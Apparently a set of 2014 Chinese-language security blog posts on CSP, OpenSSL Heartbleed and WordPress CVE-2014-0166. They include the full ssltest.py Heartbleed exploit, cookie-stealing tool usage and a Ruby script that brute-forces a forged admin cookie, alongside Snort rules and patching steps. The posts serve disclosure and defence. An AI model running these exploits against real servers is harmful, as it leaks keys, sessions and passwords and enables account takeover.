目前採用 CSP 的案例較少,比較知名的使用案例是 GitHub,在 2013 年 4 月 GitHub 還寫了一篇專文公告表示他們已開始採用 CSP。另外一個案例廠商可能較廣為人知,是在 2013 年當紅的免費儲存空間 MEGA。兩個案例的實際內容可見於下圖:

GitHub 與 MEGA 使用 CSP 後的 HTTP response

另一項知名使用案例是 Google 明定開發 Chrome Extension 時必須使用 CSP,以追求更高的安全性。Mozilla 也在 MozillaWiki 開了一頁存放相關技術細節。若您想觀察其他使用案例,可使用 Chrome Inspector 或 curl 觀察以下幾個網站:LastPass,Twitter,1Password。

CSP 常見誤用案例

  • directives 後面不需加冒號

    錯誤:default-src: ‘self’

    正確:default-src ‘self’

  • directives 之間以分號區隔

    錯誤:default-src ‘self’, script-src ‘self’

    正確:default-src ‘self’; script-src ‘self’

  • 多個 source 之間僅以空白區隔

    錯誤:default-src ‘self’; img-src ‘self’, img1.devco.re, img2.devco.re

    正確:default-src ‘self’; img-src ‘self’ img1.devco.re img2.devco.re

  • 某些 source 必須加冒號(https:、data:)

    錯誤:default-src ‘self’; img-src ‘self’ https data

    正確:default-src ‘self’; img-src ‘self’ https: data:

  • 某些 source 必須用單引號括起來(’none’、’self’、’unsafe-inline’、’unsafe-eval’)

    錯誤:script-src self unsafe-inline unsafe-eval

    正確:script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

結論

使用 CSP 可以有效提升攻擊難度,讓許多常見的 XSS 攻擊失效,是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高,同時也有一些網路服務預設都需要使用 inline script(例如 Google Analytics,相關解法可參考這裡),因此要享受這樣的安全之前,可能需要先付出許多時間與心力將網站大幅整理,套用 CSP 規範後網頁才能正常運作。

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

8 April 2014 at 16:00

OpenSSL CVE-2014-0160 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

  • 軟體名稱:OpenSSL
  • 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
  • 修復版本:1.0.1g / 1.0.2-beta2
  • 影響系統版本
    • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
    • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
    • CentOS 6.5, OpenSSL 1.0.1e-15
    • Fedora 18, OpenSSL 1.0.1e-4
    • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
    • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
    • NetBSD 5.0.2 (OpenSSL 1.0.1e)
    • OpenSUSE 12.2 (OpenSSL 1.0.1c)
  • 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.

如何自我檢測?

要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。

直接輸入 Domain 即可查詢,例如「fbi.gov」。

OpenSSL CVE-2014-0160 Heartbleed 檢測: fbi.gov

使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。

OpenSSL CVE-2014-0160 Heartbleed 檢測: ifttt.com

原始碼如下:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。

使用說明:

Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)
Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port
  --starttls proto[:arg] - start plain and upgrade to SSL with
			   starttls protocol (imap,smtp,http,pop)
  -T|--timeout T         - use timeout (default 5)
  -H|--heartbeats N      - number of heartbeats (default 1)
  -s|--show-data [L]     - show heartbeat response if vulnerable, optional
                           parameter L specifies number of bytes per line (16)
  -R|--show-regex-data R - show data matching perl regex R. Option can be
                           used multiple times
  -q|--quiet             - don't show anything, exit 1 if vulnerable
  -h|--help              - this screen

Examples:
  # check direct www, imaps .. server
  check-ssl-heartbleed.pl www.google.com:443
  check-ssl-heartbleed.pl www.google.com:https
  check-ssl-heartbleed.pl mail.google.com:imaps

  # try to get Cookies
  check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443

  # check webserver via proxy
  check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000

  # check imap server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143

  # check pop server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110

  # check smtp server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587

應對措施

如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?

  1. 確認自己的 OpenSSL 版本是否在受害範圍
  2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
  3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
  4. 重開所有與 OpenSSL 函式庫相關之服務
  5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
  6. 將網站舊憑證撤銷
  7. 清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
  8. 必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生

詳細討論與建議可以參考
Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it

誰會是目標呢?

真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。

小結

就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!

OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎?

10 April 2014 at 16:00

你跟上了 OpenSSL Heartbleed 的祭典了嗎?如果還沒有,別忘記詳細閱讀一下我們的前文「OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞」。

這幾天不少企業、民眾都不斷來詢問我們相對應的解決方案:

  • Heartbleed 跟我有關嗎?我該怎麼知道?
  • 我該怎麼更新 OpenSSL?
  • 我如果不能更新,要怎麼防止攻擊?
  • Heartbleed 漏洞攻擊者會怎麼利用?
  • 目前受害的狀況如何?
  • 我只是一般民眾,該如何應對?

我相信不少人都有類似的疑問,我們以這篇專文補遺上次沒提到的資訊。

攻擊手法示範

大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞,到底有多嚴重呢?我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片,利用最先釋出的兩個簡單的 PoC exploit (弱點利用程式)「ssltest.py」以及「check-ssl-heartbleed.pl」,來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊,其中就可能包含了機敏資訊。

讓我們來看看吧!

首先利用 ssltest.py 來測試,來看伺服器是否有被 heartbleed 漏洞影響,fbi.gov 在第三天已經修復這個問題。

利用 ssltest.py 來測試伺服器是否有 Heartbleed 漏洞。

如果是檢測一個有漏洞的網站,這個工具會直接把記憶體的內容顯示出來,其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中,攻擊程式讀取到使用者送出的 form,若其中包含個資將會被一覽無遺,非常危險。

利用 ssltest.py 抓出記憶體中的資料,其中包括 HTTP 傳輸內容。

另一個工具 check-ssl-heartbleed.pl 可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。

利用 check-ssl-heartbleed.pl 來檢查伺服器是否有 heartbleed 問題。

如果使用「-R」參數並且指定特定的正規表示式,可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例,我們知道這個網站提供 phpMyAdmin 套件,因此直接鎖定「pmaPass」資料來抓取,沒想到第一次就抓到了。

利用 check-ssl-heartbleed.pl 抓出特定機敏資料。

接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中,就可以如影片中盜用這個帳號。是否很危險呢?

除了這種利用方法之外,還有更多情況是直接把使用者登入的帳號密碼直接顯示出來的,因此如果伺服器沒有做好防禦或更新,整個網站的使用者資料都可以因此外洩。這也是為什麼我們一直強調伺服器管理者必須要更新金鑰、全站使用者帳號密碼等,以防有心人士借此撈取資料。

誰在利用 Heartbleed 漏洞竊取資料呢?

由 github 上面的 commit 記錄,出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的,不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的報導指出,知情人士表示 NSA 早在兩年前就已經知道此漏洞,並且利用這個漏洞竊取許多網站的機敏資料。這代表 NSA 在一開始就知道這個漏洞,令人不禁有其他聯想。

The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.

在之前台灣駭客年會 (HITCON) 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了大量掃描 Heartbleed 漏洞的程式,也可以供研究人員自行研究,或者是尋找自己管理的主機中有多少包含這個風險的。

常見問題

OpenSSL 是什麼?IIS 會受 Heartbleed 漏洞影響嗎?

OpenSSL 是一個函式庫(Library),在 UNIX 系列的服務若有使用 SSL,通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。

我使用 OpenSSL 0.9.8,太好了我用舊版我好安全!

你聽過 BEAST, BREACH, CRIME, Lucky 13 嗎?

我沒有使用 HTTPS,所以我很安全!

。。。

只有網頁伺服器(HTTP Server)會受影響嗎?

不只!只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍,包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。

只有自己架設的伺服器會受影響嗎?

當然不只!目前已經出現各大設備廠商都遭遇到這樣的問題。各大設備廠商、作業系統等影響狀況,可以參閱以下文章。

CERT: OpenSSL heartbeat extension read overflow discloses sensitive information
http://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=720951&SearchOrder=4

廠商的設備目前狀況特別嚴重,因為所有同個版本的設備都會受影響,而在廠商釋出更新之前,只能被動的等待更新。若沒有繼續簽訂維護約的設備,也只能繼續跟廠商簽約更新,或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意,如果被攻擊者取得帳號密碼,等於如入無人之境,直接使用你的帳號登入到企業內網,不可不慎。

各家系統更新的速度?

引述自好朋友 Ant 的文章,各家作業系統、網站的更新速度,代表著企業重視資安的程度以及針對資安事件緊急應變的效率,也可以作為我們挑選系統、網站、廠商的依據。

二、作業系統的更新進度

從資安事件的處理可以推敲出各作業系統商對於緊急事件的反應速度。
時間軸,按照修復的先後排列:

  1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
  2. RedHat 在 2014年4月7日 07:47:00 正式修復。
  3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
  4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
  5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
  6. Debian 約在 2014年4月7日 21:45 正式修復。
  7. FreeBSD 約在 2014年4月7日 21:46 正式修復。
  8. Ubuntu 約在 2014年4月7日 21:48 正式修復。
    (2014年4月8日分隔區)
  9. Fedora 約在 2014年4月8日 00:33 正式修復。
  10. CentOS 約在 2014年4月8日 02:49 正式修復。
  11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
  12. Scentific 約在 2014年4月8日 08:27 正式修復。
  13. Gentoo 約在 2014年4月8日 09:36 正式修復。

重點整理:

  1. RedHat 修復的速度比 OpenSSL 官方還快。
  2. RedHat 派系的修復時間,除了 RedHat 外都算慢,如 Fedora 及 CentOS、Scentific,他們都比 RedHat 慢 16 小時以上。
  3. Debian 派系的修復時間,如 Debian 及 Ubuntu,都比 RedHat 慢上至少 12 小時以上。
  4. Gentoo 是列表中修復最慢的。
  5. 若以資安黃金 6 小時來說,Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。

三、大公司更新的速度

同樣地,從資安事件的處理可以推敲出各公司對於緊急事件的反應速度。

雲端相關公司

  • Cloudflare 約在 2014å¹´4月7日 11時修復。
  • DigitalOcean 約在 2014å¹´4月8日 12時修復。
  • AWS 約在 2014å¹´4月8日 12時修復。
  • Linode 約在 2014å¹´4月8日 14時修復。
  • Heroku 約在 2014å¹´4月8日 16時修復。

有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天,也比上述機器數很多的雲端相關公司還慢。這些公司為,

  • Yahoo.com / Flickr.com
  • Kaspersky.com (資安公司)
  • stackoverflow.com
  • stackexchange .com
  • php.net

感謝 StackNG 的補充:Cloudflare 於 2014 年 4 月 7 日 11 時公告,但在漏洞公告之前已經修復。

目前還有哪些伺服器有問題呢?

根據 ZMap 的研究報告指出,他們針對 Alexa 前一百萬個網站進行檢測,大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個完整的清單列出在 2014/4/11 17:00 尚未修復漏洞的網站。

ZMap.io Heartbleed vulnerable domains

有什麼值得測試的網站呢?

OpenSSL Heartbleed with a beer!

via Facebook

我要怎麼更新 OpenSSL 呢?

根據不同的 Linux Distribution 有不同的更新方式,若有自己客製化一些程式設定,可能就需要自行更新。以下我們簡單介紹更新步驟:

RedHat / CentOS / Fedora 系列更新套件:

yum update
yum update openssl #只更新 OpenSSL

Debian / Ubuntu 系列更新套件:

sudo apt-get update
sudo apt-get dist-upgrade

若只要更新 OpenSSL 則可以執行以下指令

sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

注意 OpenSSL 是否已經更新為修復的版本:

rpm -q -a | grep "openssl"  # RedHat
dpkg -l | grep "openssl"    # Debian

接著請記得撤銷原本的簽章金鑰,重新簽署,並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。

openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr

結束後記得重新啟動相關服務

sudo service httpd restart      # RedHat
sudo service apache2 restart    # Debian

最後再使用檢測工具看自己的網頁伺服器或其他相關服務是否已經不在漏洞受害範圍。

我無法更新我的伺服器,我該怎麼在 IDS 偵測攻擊呢?

若你使用 Snort IDS,官方已經釋出 SID 30510 到 30517 來偵測,並且在 Community Rules 中也有包含。
http://www.snort.org/snort-rules/#community

# SIDs 30510 through 30517 address detection of the heartbleed attack 

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;  
reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;) 
 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;) 
 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;) 
 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;) 
 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514; 
rev:3;) 
 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515; 
rev:3;) 
 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516; 
rev:3;) 
 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517; 
rev:3;)

民眾與管理者應對措施

不少朋友來信、留言洽詢,到底自己該怎麼針對這次的漏洞應變?我們簡單就一般民眾以及系統管理者說明。

一般民眾應對措施

  • 注意常用的重要網站服務,是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。
  • 若常用網站服務有遭遇此風險,記得更換帳號密碼。
  • 若這段時間有網站通知更換密碼,也請注意是否為釣魚信件。
  • 注意自己的帳號是否有異常活動。
  • 若使用的網站服務就是不更新,一天一信友善提醒管理者。

系統管理者應對措施

  • 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2,並密切注意有無後續更新。
  • 重新產生金鑰(Private Key 可能外洩)、Session(Session ID 可能外洩)、密碼(密碼也可能外洩),並且撤銷原本的金鑰。
  • 若無法更新,重新編譯 OpenSSL 以關閉 heartbeat 功能。
  • 使用 Perfect Forward Secrecy (PFS),在未來類似風險發生時減低傷害。

許多業者抱持著僥倖的心態,想說外洩的目標不會輪到自己。如果大家看到這幾天全世界資安人員 / 駭客不眠不休的撈取資料,應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天,就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器,並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線,不然還是請乖乖更新吧。

大事件,大啟示

還記得之前我們提到的「使用第三方套件所要擔負的資安風險」?這次的事件就是一個血淋淋的案例。不管是廠商、社群、個人開發者的粗心失誤,或者是國家機器 NSA 的強力滲透,使用各種第三方的套件都需要承擔極大的風險。但可悲的是,我們卻無法不使用。從這次的事件我們可以學到幾件事情:

  1. 不管哪種攻擊手法、多老舊的攻擊手法,在未來都可能會再度發生。
  2. 程式碼的 review 非常重要,一定要在開發過程中導入程式碼 review 機制,以免開發者寫出含有安全疑慮的程式碼。
  3. 加密、Session 控管、金鑰控管等議題,是永遠的課題。一天沒處理好,在未來的風險中會再度受害。
  4. 風險永遠會發生在你猜不到的地方,可能是程式、可能是函式庫、可能是加密協定、更可能是亂數產生器。

不斷的增強資安意識、不停的分享新知、廠商做好資安控管及安全檢測、民眾對企業和政府要求資訊安全,集合大家的力量,是改善資安大環境的不二法門。

你以為自己逃過一劫了嗎?也許你的身體已經血流如柱,而嗜血的鯊魚正游向你。

CVE-2014-0166 WordPress 偽造 Cookie 弱點

15 April 2014 at 16:00

前言

在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。
讓我們來分析一下這次的弱點是發生了什麼事吧!

解析

這次出問題的程式碼在這邊,關鍵程式碼如下:

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ( $hmac != $hash ) {
  /**
   * Fires if a bad authentication cookie hash is encountered.
   *
   * @since 2.7.0
   *
   * @param array $cookie_elements An array of data for the authentication cookie.
   */
  do_action( 'auth_cookie_bad_hash', $cookie_elements );
  return false;
}

問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱官方手冊。

var_dump(0 != "a"); // 0 != 0 -> false
var_dump("1" != "01"); // 1 != 1 -> false
var_dump("10" != "1e1"); // 10 != 10 -> false
var_dump(100 != "1e2"); // 100 != 100 -> false
var_dump( "0" != "0e10123456789012345678901234567890" ); // 0 != 0 -> false

進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。

username 是使用者名稱,

expiration 是有效期限(timestamp),

hmac 值用來驗證 cookie 是否合法。

從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。

利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:

//if ( $hmac != $hash ) {
  if ( "0" != "0e10123456789012345678901234567890" ) {
    do_action( 'auth_cookie_bad_hash', $cookie_elements );
    return false;
  }

如此便可以通過驗證,成功偽造合法 cookie。

而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。

符合 $hash == 0 的 MD5 $hash 值有
0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09

每次偽造的成功機率約為三億分之一,並不會很高,但已經足夠在一個月內拿到最高權限,而且所耗成本並不會很高。

實驗

為了驗證此方法之可行性,我們架設了 WordPress 3.8.1 環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:

require 'httpclient'

http = HTTPClient.new

cookie_name = "WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"
timestamp = Time.now.to_i

(timestamp..timestamp+800000000).each do |time|
  result = http.get('http://domain.my/WordPress/', nil, {"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})
  if result.body.include? 'logout'
    puts "admin%7C#{time}%7C0"
    break
  end
end

註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。

經過一段長時間的等待,得到的結果如下:

暴力偽造 cookie,直到成功登入

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!

利用偽造的 cookie 登入 WordPress

註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。

結論

最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。

對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。

對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。

PHP 官網原始碼讀取案例

23 April 2014 at 16:00

不安全的引用物件 (Insecure Direct Object Reference) 是個非常常見的資安漏洞,在 OWASP 公布的十大網站應用程式安全漏洞 中高居第四名。通常發生在網站應用程式上沒有針對輸入的參數做好檢查,就把參數丟入 include 或 readfile 等函數當中引用,使得攻擊者可以藉此存取任意文件的原始碼。

